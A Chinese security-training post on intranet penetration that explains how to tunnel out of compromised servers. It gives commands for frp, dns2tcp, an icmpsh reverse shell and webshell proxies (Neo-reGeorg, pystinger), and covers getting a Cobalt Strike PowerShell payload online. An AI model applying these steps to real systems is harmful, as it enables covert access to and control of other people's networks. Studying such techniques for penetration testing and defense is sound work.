网盾网络安全培训学校育,只培训技术精英
全国免费咨询电话: 15827351614
内网渗透之主机出网OR不出网隧道搭建

当拿到权限之后,做完本地信息收集,最重要的就是做个隧道,对内网进行下一步攻击,这里简单介绍几个常用的工具,主要针对于出网和不出网两种情况。

出网情况

拿到服务器权限之后,遇见这种机器,十分简单,针对不同情况搭建不同隧道,为了速度可以建立sockets隧道、为了隐蔽可以使用dns隧道、icmp隧道等,本文简单介绍几个常用工具。

frp

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

项目地址:https://github.com/fatedier/frp/

下载之后,我们只需要关注四个文件即可:

  • frps

  • frps.ini

  • frpc

  • frpc.ini

修改frpc.ini,这里搭建sockets隧道,上传至目标服务器启动即可。

./frpc -c frpc.ini

服务端根据frps.ini修改端口

启动监听

./frps -c frps.ini

即可建立sockets隧道,利用Proxifierprox等,即可全局代理隧道,访问目标主机内网。

dns

这个比较麻烦需要准备一个域名,和一台DNS服务器,在域名解析添加一条NS记录和一条A记录。举个例子,域名是123.com,添加一个子域名a.123.com,且类型为NS,并将NS记录指向b.123.com,然后将b.123.com建立A记录服务器IP即可,利用的工具也很多,本文简单介绍dns2tcp。

a.123.com NS b.123.com
b.123.com A 1.1.1.1

项目地址:https://github.com/HEYAHONG/dns2tcp

客户端

dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2  
-r 后接服务名称任意换, 本文用nc
-z 后接NS记录的网址
-l 后接本地端口

服务端

修改dns2tcpd.conf,

listen = 0.0.0.0
port = 53
user = root
chroot = /home/
domain = a.123.com
key = 123
resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080

然后执行,dns隧道就搭建好了,利用nc进行传输文件即可。

dns2tcpd -F -d 3 -f /home/dns2tcpd.conf

建立传输

1606274065_5fbdcc113946c21f0fc79.png!small?1606274064331

目标主机监听并接受文件即可。

icmp

icmp隧道主要因为大部分防火墙不会屏蔽 ping ,所以可以将流量封装在icmp进行传输,这种速度跟sockets相比太慢了,特殊情况才会使用。

项目地址:https://github.com/inquisb/icmpsh

服务端:

python icmpsh_m.py ip 目标ip

目标机

icmpsh.exe -t 目标ip

即可反弹icmp隧道shell回来。

不出网情况

拿到服务器权限之后,遇见这种机器,只能利用基于webshell的代理,只需要将webshell上传到目标主机即可,然后建立tcp连接,主要利用session来识别不同的的tcp连接,我们攻击监听tcp,将数据post提交到webshell即可进行传输,本文简单介绍两个常用的。

Neo-reGeorg

Neo-reGeorg相当于是 reGeorg的升级版,有了更强的隐蔽性,原理都是相同的,常用于webshell代理流量,进而进行内网渗透。

项目地址:https://github.com/L-codes/Neo-reGeorg

首先需要设置密码,生成各种类型webshell,并上传至目标服务器

python neoreg.py generate -k password

上传至服务器即可,然后启动监听即可

python neoreg.py -k password -u http://1.1.1.1/tunnel.php

最后挂上sockets代理即可访问内网。

pystinger

毒刺(pystinger)通过webshell实现内网socks4代理,并且可以利用pystinge实现各种csmsf上线,目前仅支持php、jsp(x)、aspx.

项目地址:https://github.com/FunnyWolf/pystinger

这个工具比较强大,这里可以直接上线cs,简单介绍如何搭建socks4以及cs上线。

socks4隧道搭建:

首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,并start命令运行该程序

最后在我们的服务器执行

./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.0.0 -p 60000

即可建立socks4隧道,利用Proxifierprox等,访问目标主机内网。

cs上线:

前面大体相同,首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,启动利用冰蝎start启动即可

我们的服务器也需要进行监听

./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.00 -p 60000

然后cs进行监听,端口填写60020

进而利用cs生成powershell

执行可以利用pystinger,进行不出网主机上线。

End

这里只是抛砖引玉,引出一些在之前工作中针对于不出网以及出网主机,用过最多的几个隧道代理工具,还请各位大佬勿喷,有更好的工具多补充,共同交流,这样我们才能共同成长,格拉德威尔曾说过:“人们眼中的天才之所以卓越非凡,并非天资超人一等,而是付出了持续不断的努力。1万小时的锤炼是任何人从平凡变成世界级大师的必要条件“。